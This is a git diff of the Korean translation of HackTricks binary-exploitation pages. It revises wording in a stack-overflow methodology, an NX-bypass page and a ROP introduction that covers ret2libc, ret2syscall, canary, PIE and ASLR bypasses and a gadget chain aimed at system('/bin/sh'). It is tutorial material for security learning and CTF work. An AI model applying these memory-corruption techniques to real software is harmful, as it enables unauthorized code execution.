diff --git a/SUMMARY.md b/SUMMARY.md
index 65429f095..b340e89b9 100644
--- a/SUMMARY.md
+++ b/SUMMARY.md
@@ -706,7 +706,8 @@
* [Leaking libc - template](binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md)
* [One Gadget](binary-exploitation/rop-return-oriented-programing/ret2lib/one-gadget.md)
* [Ret2lib + Printf leak - arm64](binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md)
- * [Ret2syscall](binary-exploitation/rop-return-oriented-programing/rop-syscall-execv.md)
+ * [Ret2syscall](binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md)
+ * [Ret2syscall - ARM64](binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md)
* [Ret2vDSO](binary-exploitation/rop-return-oriented-programing/ret2vdso.md)
* [SROP - Sigreturn-Oriented Programming](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming.md)
* [Array Indexing](binary-exploitation/array-indexing.md)
diff --git a/binary-exploitation/basic-binary-exploitation-methodology/README.md b/binary-exploitation/basic-binary-exploitation-methodology/README.md
index 8e3b6e5f9..2db53fced 100644
--- a/binary-exploitation/basic-binary-exploitation-methodology/README.md
+++ b/binary-exploitation/basic-binary-exploitation-methodology/README.md
@@ -7,10 +7,10 @@
HackTricks를 지원하는 다른 방법:
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
-* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
-* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
-* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
+* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com) 받기
+* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하고 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션을 만나보세요
+* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
+* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 요령을 공유**하세요.
@@ -30,19 +30,19 @@ HackTricks를 지원하는 다른 방법:
## 스택 오버플로우 방법론
-다양한 기술이 있기 때문에 각 기술이 언제 유용할지 알 수 있는 방법론을 가지는 것이 좋습니다. 동일한 보호 기능이 다른 기술에 영향을 미칠 수 있음을 유의하십시오. 각 보호 기능 섹션에서 보호 기능을 우회하는 방법을 찾을 수 있지만 이 방법론에서는 제공되지 않습니다.
+다양한 기술이 있기 때문에 각 기술이 언제 유용할지 알 수 있는 체계를 갖는 것이 좋습니다. 동일한 보호 기능이 다른 기술에 영향을 미칠 수 있음에 유의하십시오. 각 보호 기능 섹션에서 보호 기능을 우회하는 방법을 찾을 수 있지만 이 방법론에서는 제공되지 않습니다.
## 흐름 제어
-프로그램의 흐름을 제어하는 여러 방법이 있습니다:
+프로그램의 흐름을 제어하는 여러 가지 방법이 있습니다:
* **스택 오버플로우**를 통해 스택 또는 EBP -> ESP -> EIP의 반환 포인터를 덮어쓰기
* **정수 오버플로우**를 악용하여 오버플로우를 발생시킬 수 있음
* 또는 **임의 쓰기 + 실행할 내용이 있는 위치로 쓰기**
-* **포맷 문자**를 악용하여 `printf`를 사용하여 임의의 내용을 임의의 주소에 쓰기
-* **배열 인덱싱**: 제어할 수 있는 배열을 얻기 위해 잘못 설계된 인덱싱을 악용
+* **포맷 문자열**을 악용하여 `printf`를 사용하여 임의의 내용을 임의의 주소에 쓰기
+* **배열 인덱싱**: 제어할 수 있는 배열을 제어하고 임의의 쓰기를 얻기 위해 설계가 잘못된 인덱싱을 악용
* **정수 오버플로우**를 악용하여 오버플로우를 발생시킬 수 있음
-* **ROP를 통한 bof to WWW**: 버퍼 오버플로우를 악용하여 ROP를 구성하고 WWW를 얻을 수 있음
+* **bof to WWW via ROP**: 버퍼 오버플로우를 악용하여 ROP를 구성하고 WWW를 얻을 수 있음.
**Write What Where to Execution** 기술은 다음에서 찾을 수 있습니다:
@@ -52,69 +52,69 @@ HackTricks를 지원하는 다른 방법:
## 영원한 루프
-일반적으로 **취약점의 단일 악용만으로는** 성공적인 공격을 실행하는 데 충분하지 않을 수 있음을 고려해야 합니다. 특히 일부 보호 기능을 우회해야 할 수 있습니다. 따라서 **동일한 실행에서 단일 취약점을 여러 번 악용할 수 있는 옵션**을 고려하는 것이 흥미로울 수 있습니다:
+일반적으로 **취약점의 단일 악용만으로는** 성공적인 공격을 실행하는 데 충분하지 않을 수 있음을 고려해야 합니다. 특히 일부 보호 기능을 우회해야 하는 경우가 있습니다. 따라서 **동일한 실행에서 단일 취약점을 여러 번 악용할 수 있는 옵션**을 고려하는 것이 흥미로울 수 있습니다:
* **ROP** 체인에 **`main` 함수의 주소** 또는 **취약점이 발생하는 주소**를 쓰기
* 적절한 ROP 체인을 제어하면 해당 체인에서 모든 작업을 수행할 수 있음
-* **GOT의 `exit` 주소**에 (또는 종료 전에 이진 파일에서 사용되는 다른 함수) **취약점으로 돌아가는 주소**를 쓰기
-* [**.fini\_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini\_array.md#eternal-loop)에서 설명한대로 여기에 2개의 함수를 저장하여 취약점을 다시 호출하거나 **`__libc_csu_fini`**를 호출하여 `.fini_array`에서 함수를 다시 호출
+* **GOT의 `exit` 주소**에 **취약점으로 돌아가는 주소**를 쓰기 (또는 종료 전에 이진 파일에서 사용되는 다른 함수의 주소)
+* [**.fini\_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini\_array.md#eternal-loop)에서 설명한대로 여기에 2개의 함수를 저장하여 취약점을 다시 호출하거나 **`__libc_csu_fini`**를 호출하여 `.fini_array`에서 함수를 다시 호출할 수 있음.
## 공격 목표
### 목표: 기존 함수 호출
-* **ret2win**: 호출해야 하는 코드에 플래그를 얻기 위해 호출해야 하는 함수가 있음
-* **PIE** 및 **canary** 없는 일반 bof의 경우 스택에 저장된 반환 주소에 주소를 쓰기만 하면 됨
-* **PIE**가 있는 bof의 경우 우회해야 함
-* **canary**가 있는 bof의 경우 우회해야 함
+* [**ret2win**](./#ret2win): 호출해야 하는 코드에 플래그를 얻기 위해 호출해야 하는 함수가 있음
+* **PIE** 및 **canary** 없는 일반적인 bof의 경우 스택에 저장된 반환 주소에 주소를 쓰기만 하면 됨
+* [**PIE**](../common-binary-protections-and-bypasses/pie/)가 있는 bof의 경우 우회해야 함
+* [**canary**](../common-binary-protections-and-bypasses/stack-canaries/)가 있는 bof의 경우 우회해야 함
* **ret2win** 함수를 올바르게 호출하려면 여러 매개변수를 설정해야 하는 경우:
-* 충분한 가젯이 있는 경우 **ROP** 체인을 사용하여 모든 매개변수를 준비
-* [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming.md)을 사용하여 많은 레지스터를 제어할 수 있는 경우 이 시스템 호출을 사용할 수 있음
+* 충분한 가젯이 있는 경우 [**ROP**](./#rop-and-ret2...-techniques) 체인을 사용하여 모든 매개변수를 준비할 수 있음
+* [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming.md)을 사용하여 많은 레지스터를 제어할 수 있음 (이 시스템 호출을 호출할 수 있는 경우)
* [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) 및 [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md)의 가젯을 사용하여 여러 레지스터를 제어할 수 있음
* [**Write What Where**](../arbitrary-write-2-exec/)를 통해 다른 취약점(bof가 아닌)을 악용하여 **`win`** 함수를 호출할 수 있음
-* **포인터 리다이렉팅**: 호출될 함수 또는 흥미로운 함수(system 또는 printf)에서 사용될 문자열로 포인터가 있는 경우 해당 주소를 덮어쓸 수 있음
-* **ASLR** 또는 **PIE**가 주소에 영향을 줄 수 있음
-* **초기화되지 않은 변수**: 알 수 없음
+* [**포인터 리다이렉팅**](../stack-overflow/pointer-redirecting.md): 호출될 함수 또는 흥미로운 함수(system 또는 printf)에서 사용될 문자열로 포인터가 있는 경우 해당 주소를 덮어쓸 수 있음
+* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) 또는 [**PIE**](../common-binary-protections-and-bypasses/pie/)가 주소에 영향을 줄 수 있음
+* [**초기화되지 않은 변수**](../stack-overflow/uninitialized-variables.md): 알 수 없음
### 목표: RCE
-#### nx가 비활성화되어 있거나 셸코드와 ROP를 혼합하여:
+#### nx가 비활성화되었거나 셸코드와 ROP를 혼합하는 경우:
-* **(스택) 셸코드**: 스택에 셸코드를 저장하고 반환 포인터를 덮거나 덮은 후에 **점프하여 실행**하는 데 유용
-* 일반 bof에서 **canary**가 있는 경우 우회(유출)해야 함
-* **ASLR** 및 **nx**가 없는 경우 스택 주소로 점프할 수 있음
+* **(스택) 셸코드**: 스택에 셸코드를 저장하고 반환 포인터를 덮어쓰기한 후 **점프하여 실행**하는 데 유용함:
+* 일반적인 bof에서 **canary**가 있는 경우 우회(유출)해야 함
+* **ASLR** 및 **nx**가 없는 경우 스택 주소로 점프할 수 있으므로 주소를 변경하지 않음
* **ASLR**가 있는 경우 [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md)와 같은 기술을 사용하여 점프해야 함
-* **nx**가 있는 경우 [**ROP**](../rop-return-oriented-programing/)를 사용하여 `memprotect`를 호출하여 페이지를 `rwx`로 만든 다음 거기에 셸코드를 저장(예: read 호출)한 다음 거기로 점프해야 함
+* **nx**가 있는 경우 [**ROP**](../rop-return-oriented-programing/)를 사용하여 `memprotect`를 호출하여 페이지를 `rwx`로 만든 다음 거기에 셸코드를 저장(예: read 호출)한 후 거기로 점프해야 함
* 이는 셸코드를 ROP 체인과 혼합하는 것입니다.
#### 시스콜을 통해
-* [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv.md): 임의의 명령을 실행하기 위해 `execve`를 호출하는 데 유용합니다. **매개변수를 사용하여 특정 시스콜을 호출하는 가젯을 찾을 수 있어야 합니다**.
-* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) 또는 [**PIE**](../common-binary-protections-and-bypasses/pie/)가 활성화되어 있는 경우 이를 무력화해야 합니다. **바이너리나 라이브러리에서 ROP 가젯을 사용하기 위해**.
+* [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/): 임의의 명령을 실행하기 위해 `execve`를 호출하는 데 유용합니다. **매개변수를 사용하여 특정 시스콜을 호출하는 가젯을 찾을 수 있어야 합니다**.
+* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) 또는 [**PIE**](../common-binary-protections-and-bypasses/pie/)가 활성화되어 있는 경우 **바이너리 또는 라이브러리에서 ROP 가젯을 사용하기 위해 이를 무력화해야 합니다**.
* [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming.md)은 **ret2execve**를 준비하는 데 유용할 수 있습니다.
* [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) 및 [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md)에서 여러 레지스터를 제어하기 위한 가젯
#### libc를 통해
-* [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): 주로 **`libc`**에서 **`system`**과 같은 함수를 호출하는 데 유용합니다. 일부 준비된 인자(예: `'/bin/sh'`)와 함께. 호출하려는 함수가 있는 라이브러리를 **바이너리가 로드**해야 합니다 (일반적으로 libc).
+* [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): 주로 **`libc`**에서 **`system`**과 같은 함수를 호출하는 데 유용하며 일부 준비된 인수(예: `'/bin/sh'`)와 함께 사용됩니다. 호출하려는 함수가 있는 라이브러리를 **바이너리가 로드**해야 합니다 (일반적으로 libc).
* **정적으로 컴파일되고** [**PIE**](../common-binary-protections-and-bypasses/pie/)가 없는 경우, `system` 및 `/bin/sh`의 **주소**가 변경되지 않으므로 정적으로 사용할 수 있습니다.
* **ASLR**가 **비활성화되어 있고 로드된 libc 버전을 알고 있는 경우**, `system` 및 `/bin/sh`의 **주소**가 변경되지 않으므로 정적으로 사용할 수 있습니다.
-* [**ASLR**](../common-binary-protections-and-bypasses/aslr/)가 있지만 [**PIE**](../common-binary-protections-and-bypasses/pie/)가 없는 경우, libc를 알고 있고 바이너리가 `system`을 사용하는 경우 **GOT에서 system의 주소로 `ret`**할 수 있습니다. 매개변수로 `'/bin/sh'`의 주소를 사용해야 합니다 (이를 찾아야 합니다).
+* [**ASLR**](../common-binary-protections-and-bypasses/aslr/)가 있지만 [**PIE**](../common-binary-protections-and-bypasses/pie/)가 없는 경우, libc를 알고 있고 바이너리가 `system`을 사용하는 경우 **`'/bin/sh'`의 주소와 함께 GOT의 system 주소로 `ret`**할 수 있습니다 (이를 파악해야 합니다).
* [ASLR](../common-binary-protections-and-bypasses/aslr/)가 있지만 [PIE](../common-binary-protections-and-bypasses/pie/)가 없는 경우, libc를 알고 있지만 바이너리가 `system`을 사용하지 않는 경우:
* [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md)를 사용하여 `system`의 주소를 해결하고 호출합니다
-* [**ASLR**](../common-binary-protections-and-bypasses/aslr/)를 우회하고 메모리에서 `system` 및 `'/bin/sh'`의 주소를 계산합니다.
-* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) 및 [**PIE**](../common-binary-protections-and-bypasses/pie/)가 있지만 libc를 모르는 경우: 다음을 수행해야 합니다:
+* **ASLR**를 **우회**하고 메모리에서 `system` 및 `'/bin/sh'`의 주소를 계산합니다.
+* **ASLR** 및 **PIE**가 모두 활성화되어 있지만 libc를 모르는 경우: 다음을 수행해야 합니다:
* [PIE](../common-binary-protections-and-bypasses/pie/) 우회
* 사용된 **`libc` 버전** 찾기 (몇 가지 함수 주소 누출)
-* 계속하기 위해 **ASLR와 관련된 이전 시나리오** 확인
+* **ASLR와 관련된 이전 시나리오를 확인**하여 계속합니다.
#### EBP/RBP를 통해
* [**Stack Pivoting / EBP2Ret / EBP Chaining**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): 저장된 EBP를 통해 ESP를 제어하여 RET를 제어합니다.
* **오프 바이 원** 스택 오버플로우에 유용합니다
-* EIP를 제어하는 대체 방법으로 유용하며, EIP를 남용하여 메모리에서 페이로드를 구성한 다음 EBP를 통해 그로 이동하는 방법으로 사용할 수 있습니다
+* EIP를 제어하는 대체 방법으로 유용하며, EIP를 남용하여 메모리에서 페이로드를 구성한 다음 EBP를 통해 그것으로 이동하는 데 사용됩니다
#### 기타
-* [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): 호출될 함수 또는 흥미로운 함수(system 또는 printf)에서 사용될 문자열로 포인터가 포함된 스택이 있는 경우 해당 주소를 덮어쓸 수 있습니다.
+* [**포인터 리다이렉팅**](../stack-overflow/pointer-redirecting.md): 호출될 함수 또는 흥미로운 함수(system 또는 printf)에서 사용될 문자열로 이어지는 함수를 가리키는 포인터가 스택에 포함되어 있는 경우 해당 주소를 덮어쓸 수 있습니다.
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) 또는 [**PIE**](../common-binary-protections-and-bypasses/pie/)가 주소에 영향을 줄 수 있습니다.
-* [**초기화되지 않은 변수**](../stack-overflow/uninitialized-variables.md): 알 수 없습니다
+* [**초기화되지 않은 변수**](../stack-overflow/uninitialized-variables.md): 알 수 없습니다.
diff --git a/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md b/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md
index b79a7a76b..3d44bcc2c 100644
--- a/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md
+++ b/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md
@@ -2,39 +2,25 @@
-htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 제로부터 전문가까지 배우세요
+제로부터 영웅이 될 때까지 AWS 해킹을 배우세요 htARTE (HackTricks AWS Red Team 전문가)!
-다른 방법으로 HackTricks를 지원하는 방법:
+HackTricks를 지원하는 다른 방법:
-- **회사가 HackTricks에 광고되길 원하거나** **PDF 형식으로 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
-- [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
-- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
-- **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
-- **해킹 요령을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소로 이동하세요.
+* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
+* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
+* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
+* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
+* **해킹 요령을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 제출하세요.**
## 기본 정보
-**No-Execute (NX)** 비트는 **버퍼 오버플로** 공격의 효과를 **완화**하기 위해 설계된 하드웨어 기반 보안 기능인 **Execute Disable (XD)**로도 알려져 있습니다. 구현되고 활성화되면 **실행 가능한 코드**와 **데이터**를 위해 의도된 메모리 영역을 구분합니다. 핵심 아이디어는 악의적인 코드를 예를 들어 스택에 넣고 실행 흐름을 해당 코드로 이동시켜 버퍼 오버플로 취약점을 통해 악성 코드를 실행하는 공격자를 방지하는 것입니다.
+**No-Execute (NX)** 비트는 인텔 용어로 **Execute Disable (XD)**로도 알려진 하드웨어 기반 보안 기능으로, **버퍼 오버플로** 공격의 효과를 **완화**하는 데 사용됩니다. 구현되고 활성화되면 **실행 가능한 코드**와 **데이터**를 위해 의도된 메모리 영역을 구분합니다. 핵심 아이디어는 악의적인 코드를 예를 들어 스택에 넣고 실행 흐름을 해당 코드로 이동시켜 버퍼 오버플로 취약점을 통해 악의적인 코드를 실행하는 공격자를 방지하는 것입니다.
-## 우회
+## 우회 방법
-- [**ROP**](../rop-return-oriented-programing/)과 같은 기술을 사용하여 이미 바이너리에 존재하는 실행 가능한 코드 청크를 실행하여 이 보호를 우회할 수 있습니다.
-- [**Ret2libc**](../rop-return-oriented-programing/ret2lib/)
-- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv.md)
-- **Ret2...**
-
-
-
-htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 제로부터 전문가까지 배우세요
-
-다른 방법으로 HackTricks를 지원하는 방법:
-
-- **회사가 HackTricks에 광고되길 원하거나** **PDF 형식으로 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
-- [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
-- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
-- **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
-- **해킹 요령을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소로 이동하세요.
-
-
+* [**ROP**](../rop-return-oriented-programing/)과 같은 기술을 사용하여 이미 이진 파일에 존재하는 실행 가능한 코드 청크를 실행하여 이 보호를 우회할 수 있습니다.
+* [**Ret2libc**](../rop-return-oriented-programing/ret2lib/)
+* [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/)
+* **Ret2...**
diff --git a/binary-exploitation/rop-return-oriented-programing/README.md b/binary-exploitation/rop-return-oriented-programing/README.md
index a4982fd9c..71ea0c519 100644
--- a/binary-exploitation/rop-return-oriented-programing/README.md
+++ b/binary-exploitation/rop-return-oriented-programing/README.md
@@ -2,53 +2,53 @@
-htARTE (HackTricks AWS Red Team Expert)를 통해 **제로**부터 **히어로**까지 AWS 해킹을 배우세요!
+htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요!
HackTricks를 지원하는 다른 방법:
-- **회사가 HackTricks에 광고되길 원하거나** **PDF 형식으로 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
-- [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
+- **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
+- [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
-- **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
-- **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
+- 💬 **Discord 그룹**에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 팔로우하세요.
+- **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 요령을 공유하세요.
## **기본 정보**
-**Return-Oriented Programming (ROP)**은 **No-Execute (NX)** 또는 **Data Execution Prevention (DEP)**과 같은 보안 조치를 우회하는 데 사용되는 고급 공격 기법입니다. 공격자는 셸코드를 삽입하고 실행하는 대신, **바이너리나 로드된 라이브러리에 이미 존재하는 코드 조각인 "가젯"**을 활용합니다. 각 가젯은 일반적으로 `ret` 명령으로 끝나며 데이터를 레지스터 간에 이동하거나 산술 연산을 수행하는 등의 작은 작업을 수행합니다. 이러한 가젯을 연결하여 공격자는 임의의 작업을 수행하는 페이로드를 구성하여 NX/DEP 보호를 우회할 수 있습니다.
+**Return-Oriented Programming (ROP)**은 **No-Execute (NX)** 또는 **Data Execution Prevention (DEP)**과 같은 보안 조치를 우회하는 데 사용되는 고급 공격 기법입니다. 공격자는 셸코드를 삽입하고 실행하는 대신, 이진 파일이나 로드된 라이브러리에 이미 존재하는 코드 조각인 **"가젯"**을 활용합니다. 각 가젯은 일반적으로 `ret` 명령으로 끝나며 데이터를 레지스터 간에 이동하거나 산술 연산을 수행하는 등의 작은 작업을 수행합니다. 이러한 가젯을 연결하여 공격자는 임의의 작업을 수행하는 페이로드를 구성하여 NX/DEP 보호를 우회할 수 있습니다.
### ROP 작동 방식
1. **제어 흐름 탈취**: 먼저, 공격자는 프로그램의 제어 흐름을 탈취해야 합니다. 일반적으로 버퍼 오버플로우를 이용하여 스택에 저장된 반환 주소를 덮어씁니다.
-2. **가젯 체이닝**: 그런 다음 공격자는 원하는 작업을 수행하기 위해 주의 깊게 가젯을 선택하고 연결합니다. 이는 함수 호출의 인수를 설정하고 함수를 호출하며(`system("/bin/sh")`과 같은), 필요한 정리 또는 추가 작업을 처리하는 것을 포함할 수 있습니다.
+2. **가젯 체이닝**: 그런 다음 공격자는 원하는 작업을 수행하기 위해 주의 깊게 가젯을 선택하고 연결합니다. 이는 함수 호출을 위한 인수 설정, 함수 호출 (예: `system("/bin/sh")`) 및 필요한 정리 또는 추가 작업을 포함할 수 있습니다.
3. **페이로드 실행**: 취약한 함수가 반환될 때, 합법적인 위치로 반환하는 대신 가젯 체인을 실행하기 시작합니다.
### 도구
-일반적으로 [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget), [**ropper**](https://github.com/sashs/Ropper) 또는 **pwntools**([ROP](https://docs.pwntools.com/en/stable/rop/rop.html))를 사용하여 가젯을 찾을 수 있습니다.
+일반적으로 [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget), [**ropper**](https://github.com/sashs/Ropper) 또는 **pwntools** ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html))를 사용하여 가젯을 찾을 수 있습니다.
## x86 예제에서 ROP 체인
-### **x86 (32비트) 호출 규칙**
+### **x86 (32-bit) 호출 규칙**
-- **cdecl**: 호출자가 스택을 정리합니다. 함수 인수는 역순으로 스택에 푸시됩니다(오른쪽에서 왼쪽으로). **인수는 오른쪽에서 왼쪽으로 스택에 푸시됩니다.**
+- **cdecl**: 호출자가 스택을 정리합니다. 함수 인수는 스택에 역순으로 푸시됩니다 (오른쪽에서 왼쪽으로). **인수는 오른쪽에서 왼쪽으로 스택에 푸시됩니다.**
- **stdcall**: cdecl과 유사하지만 호출된 함수가 스택을 정리합니다.
### **가젯 찾기**
-먼저, 바이너리나 로드된 라이브러리 내에서 필요한 가젯을 식별했다고 가정해 봅시다. 우리가 관심을 가지는 가젯은 다음과 같습니다:
+먼저, 이진 파일이나 로드된 라이브러리 내에서 필요한 가젯을 식별했다고 가정해 봅시다. 우리가 관심 있는 가젯은 다음과 같습니다:
- `pop eax; ret`: 이 가젯은 스택의 최상위 값을 `EAX` 레지스터로 팝하고 반환하여 `EAX`를 제어할 수 있게 합니다.
-- `pop ebx; ret`: 위와 유사하지만 `EBX` 레지스터를 위한 것으로, `EBX`를 제어할 수 있게 합니다.
-- `mov [ebx], eax; ret`: `EAX`의 값을 `EBX`가 가리키는 메모리 위치로 이동한 다음 반환합니다. 이를 **write-what-where 가젯**이라고 합니다.
-- 추가로 `system()` 함수의 주소를 사용할 수 있습니다.
+- `pop ebx; ret`: 위와 유사하지만 `EBX` 레지스터를 위해, `EBX`를 제어할 수 있게 합니다.
+- `mov [ebx], eax; ret`: `EAX`의 값을 `EBX`가 가리키는 메모리 위치로 이동한 후 반환합니다. 이를 종종 **write-what-where 가젯**이라고 합니다.
+- 추가로, `system()` 함수의 주소를 사용할 수 있습니다.
### **ROP 체인**
**pwntools**를 사용하여 ROP 체인 실행을 위해 스택을 준비합니다. `system('/bin/sh')`를 실행하도록 목표로 하는 ROP 체인이 다음과 같이 시작하는 방법에 주목하세요:
-1. 정렬 목적을 위한 `ret` 명령(선택 사항)
+1. 정렬 목적을 위한 `ret` 명령 (선택 사항)
2. `system` 함수의 주소 (ASLR 비활성화 및 알려진 libc를 가정, 자세한 정보는 [**Ret2lib**](ret2lib/) 참조)
3. `system()`에서의 반환 주소를 위한 자리 표시자
4. `"/bin/sh"` 문자열 주소 (system 함수의 매개변수)
@@ -87,22 +87,22 @@ p.interactive()
```
## x64(64비트) 호출 규약
-- Unix류 시스템에서는 **System V AMD64 ABI** 호출 규약을 사용하며, **첫 번째로 전달되는 여섯 개의 정수 또는 포인터 인수는 레지스터 `RDI`, `RSI`, `RDX`, `RCX`, `R8`, 그리고 `R9`에 전달**됩니다. 추가 인수는 스택에 전달됩니다. 반환 값은 `RAX`에 배치됩니다.
-- **Windows x64** 호출 규약은 첫 네 개의 정수 또는 포인터 인수에 대해 `RCX`, `RDX`, `R8`, 그리고 `R9`를 사용하며, 추가 인수는 스택에 전달됩니다. 반환 값은 `RAX`에 배치됩니다.
+- 유닉스류 시스템에서는 **System V AMD64 ABI** 호출 규약을 사용하며, **첫 번째로 전달되는 여섯 개의 정수 또는 포인터 인자는 레지스터 `RDI`, `RSI`, `RDX`, `RCX`, `R8`, 그리고 `R9`에 전달**됩니다. 추가 인자는 스택에 전달됩니다. 반환 값은 `RAX`에 배치됩니다.
+- **Windows x64** 호출 규약은 첫 네 개의 정수 또는 포인터 인자에 대해 `RCX`, `RDX`, `R8`, 그리고 `R9`를 사용하며, 추가 인자는 스택에 전달됩니다. 반환 값은 `RAX`에 배치됩니다.
- **레지스터**: 64비트 레지스터에는 `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP`, 그리고 `R8`부터 `R15`까지가 포함됩니다.
### **가젯 찾기**
-우리의 목적을 위해, **RDI** 레지스터를 설정하고(**system()**에 **"/bin/sh"** 문자열을 전달하기 위함) **system()** 함수를 호출할 수 있는 가젯에 집중해보겠습니다. 다음 가젯들을 식별했다고 가정해봅시다:
